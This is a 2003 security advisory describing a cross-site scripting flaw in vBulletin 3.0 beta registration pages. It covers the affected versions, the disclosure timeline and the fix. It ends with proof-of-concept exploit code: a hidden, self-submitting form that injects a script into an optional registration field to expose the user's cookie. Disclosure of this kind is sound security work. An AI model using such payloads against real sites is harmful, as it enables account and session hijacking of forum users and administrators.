VBulletin New Member XSS Vulnerability

------------------------------------------------------
VBulletin New Member XSS Vulnerability
------------------------------------------------------
Any kind of XSS attacks possibility. With this vuln. an attacker could access other users/admins accounts.
Online URL : http://ferruh.mavituna.com/article.asp?256

------------------------------------------------------
About VBulletin;
------------------------------------------------------
PHP Based Popular Forum Application

Vendor & Demo;
www.vbulletin.com

------------------------------------------------------
Description;
------------------------------------------------------
In new member page (register.php), If you skip a required field system redirect you same form and fill fields automaticly that you enter before for a better form. In standard fields Vbulletin successfully handle script injections. But in optional fields like "Interests-Hobbies", "Biography", "Occupation" etc...

So you can execute any JS with these fields.

------------------------------------------------------
Vulnerable;
------------------------------------------------------
vBulletin 3.0 Beta 2 <> Beta 7

------------------------------------------------------
Non Vulnerable;
------------------------------------------------------
vBulletin 3.0 Gamma
vBulletin 2.3.0
vBulletin 2.2.8 ...


------------------------------------------------------
Vendor Status and Patch;
------------------------------------------------------
26.01.2004, Problem fixed. 
To update vB3 Gamma or later.

------------------------------------------------------
History
------------------------------------------------------
Discovered : 15.07.2003
Vendor Informed : 29.07.2003
Publihed : 06.08.2003

------------------------------------------------------
Solution;
------------------------------------------------------
HTML Encoding like other inputs is OK.

------------------------------------------------------
Exploit Code;
------------------------------------------------------
[form action=&quot;http://[victim]/register.php?do=register&quot; method=&quot;post&quot; style=&quot;display:none&quot;]
	[input type=&quot;hidden&quot; name=&quot;s&quot; value=&quot;&quot; /]
	[input type=&quot;hidden&quot; name=&quot;regtype&quot; value=&quot;1&quot; /]
	[input type=&quot;text&quot; class=&quot;bginput&quot; name=&quot;field1&quot; value=&quot;&quot; size=&quot;25&quot; maxlength=&quot;250&quot; /]
	[input type=&quot;hidden&quot; name=&quot;url&quot; value=&quot;index.php&quot; /]
	[input type=&quot;hidden&quot; name=&quot;do&quot; value=&quot;addmember&quot; /]
[/form]
[script]
	//Code that will be executed
	var xss = &quot;\&quot;][script]alert(document&quot;+&quot;.cookie)[\/script]&quot;;
	document.forms[0].field1.value=xss;
	document.forms[0].submit();
[/script]

*Replace ([],&lt;&gt;)

Ferruh Mavituna
http://ferruh.mavituna.com
Web Application Security Specialist